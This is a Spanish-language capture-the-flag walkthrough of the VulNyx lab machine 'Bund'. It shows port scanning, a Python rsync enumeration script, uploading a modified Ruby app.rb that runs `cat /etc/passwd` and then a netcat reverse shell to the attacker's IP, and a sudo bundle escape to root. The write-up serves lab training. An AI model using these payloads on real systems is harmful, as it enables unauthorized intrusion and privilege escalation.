VulNyx - Bund

logo

  • Rsync enumeration - (Rsync/enumRsync.py)
  • Modified file upload - (Rsync/app.rb)
  • Abusing bundle Binary - (Sudo/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.27

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
873/tcp  open  rsync   syn-ack ttl 64
9393/tcp open  unknown syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80,873,9393 172.0.100.27

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
873/tcp  open  rsync   (protocol version 31)
9393/tcp open  http    WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07))
|_http-server-header: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

RSYNC TCP - 873

❯ nc -vn 172.0.100.27 873
(UNKNOWN) [172.0.100.27] 873 (rsync) open
@RSYNCD: 31.0

HTTP TCP - 9393

9393

Con la información que me proporciona Hacktricks creo un script en python para enumerar directorios remotos mediante rsync.

#!/usr/bin/env python3
# pip install pwntools

import subprocess
import argparse
from pwn import log, context

context.log_level = 'info'

def run_rsync(target_ip, word):
    rsync_command = f'rsync -av --list-only rsync://{target_ip}/{word}'
    try:
        result = subprocess.run(rsync_command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.stdout.strip():
            return result.stdout.strip()
        return None
    except subprocess.CalledProcessError:
        return None

def main(target_ip, wordlist_file):
    try:
        with open(wordlist_file, 'r') as file:
            words = file.read().splitlines()
        
        for word in words:
            progress = log.progress(f"Checking {word}")
            output = run_rsync(target_ip, word)
            progress.success("Done")
            if output:
                log.info(f"Listing for {word}: {output}")
                break
    
    except FileNotFoundError:
        log.failure(f"Wordlist file '{wordlist_file}' not found.")
    except Exception as e:
        log.failure(f"An error occurred: {e}")

if __name__ == "__main__":
    log.info("")
    log.info("===================================")
    log.info("         Rsync Enumeration")
    log.info("===================================")
    log.info("")
    
    parser = argparse.ArgumentParser(description='Run rsync command with wordlist.')
    parser.add_argument('-t', '--target-ip', required=True, help='Target IP address for rsync')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()
    
    main(args.target_ip, args.wordlist)

El script usa el modulo pwn.

pip install pwntools

Con la flag -h muestra la ayuda.

❯ ./enumRsync.py -h
[*] 
[*] ===================================
[*]          Rsync Enumeration
[*] ===================================
[*] 
usage: enumRsync.py [-h] -t TARGET_IP -w WORDLIST

Run rsync command with wordlist.

options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target-ip TARGET_IP
                        Target IP address for rsync
  -w WORDLIST, --wordlist WORDLIST
                        Path to wordlist file

Lanzo enumRsync.py y encuentro el recurso fileadmin.

❯ ./enumRsync.py -t 172.0.100.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt

enumRsync

El recurso fileadmin contiene 3 archivos y también tiene permisos de lectura, escritura y ejecución. El archivo app.rb me llama la atención así que lo descargo a mi equipo.

❯ rsync 172.0.100.27::fileadmin/app.rb .

El archivo app.rb está escrito en ruby, este código define un servidor web básico que responde con Under Construction.

require 'sinatra'
require 'shotgun'

get '/' do
  "Under Construction"
end

Modifico el archivo app.rb para ver si puedo visualizar el archivo passwd.

require 'sinatra'
require 'shotgun'

get '/' do
  `cat /etc/passwd`
end

Subo el archivo modificado al servidor.

❯ rsync app.rb 172.0.100.27::fileadmin

Con el navegador me voy a la dirección 172.0.100.27:9393 y veo que ha ejecutado el comando correctamente.

93932

Vuelvo a modificar el archivo app.rb para obtener una shell mediante netcat.

require 'sinatra'
require 'shotgun'

get '/' do
  `nc -c /bin/bash 172.0.100.25 1234`
end

Vuelvo a subir el archivo modificado al servidor.

❯ rsync app.rb 172.0.100.27::fileadmin

Ahora por comodidad uso curl para entablarme la reverse shell.

❯ curl -s 172.0.100.27:9393

Obtengo una shell como usuario axel.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.27] 59496
id
uid=1000(axel) gid=1000(axel) grupos=1000(axel)

Enumero permisos de sudo.

axel@bund:~$ sudo -l
sudo -l
Matching Defaults entries for axel on bund:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User axel may run the following commands on bund:
    (root) NOPASSWD: /usr/local/bin/bundle

Busco información del binario bundle en gtfobins.

bundle

Obtengo le root de la siguiente forma:

axel@bund:~$ sudo /usr/local/bin/bundle help 

Al lanzar bundle help se abre la ayuda.

helpbundle

Ahora escribo !/bin/sh y pulso enter para obtener el root.

helpbundle2

Escribo bash -i para iniciar una nueva instancia de la shell de Bash en modo interactivo.

# bash -i
root@bund:/home/axel# id
uid=0(root) gid=0(root) grupos=0(root)

Y aquí termina la máquina Bund.

Saludos!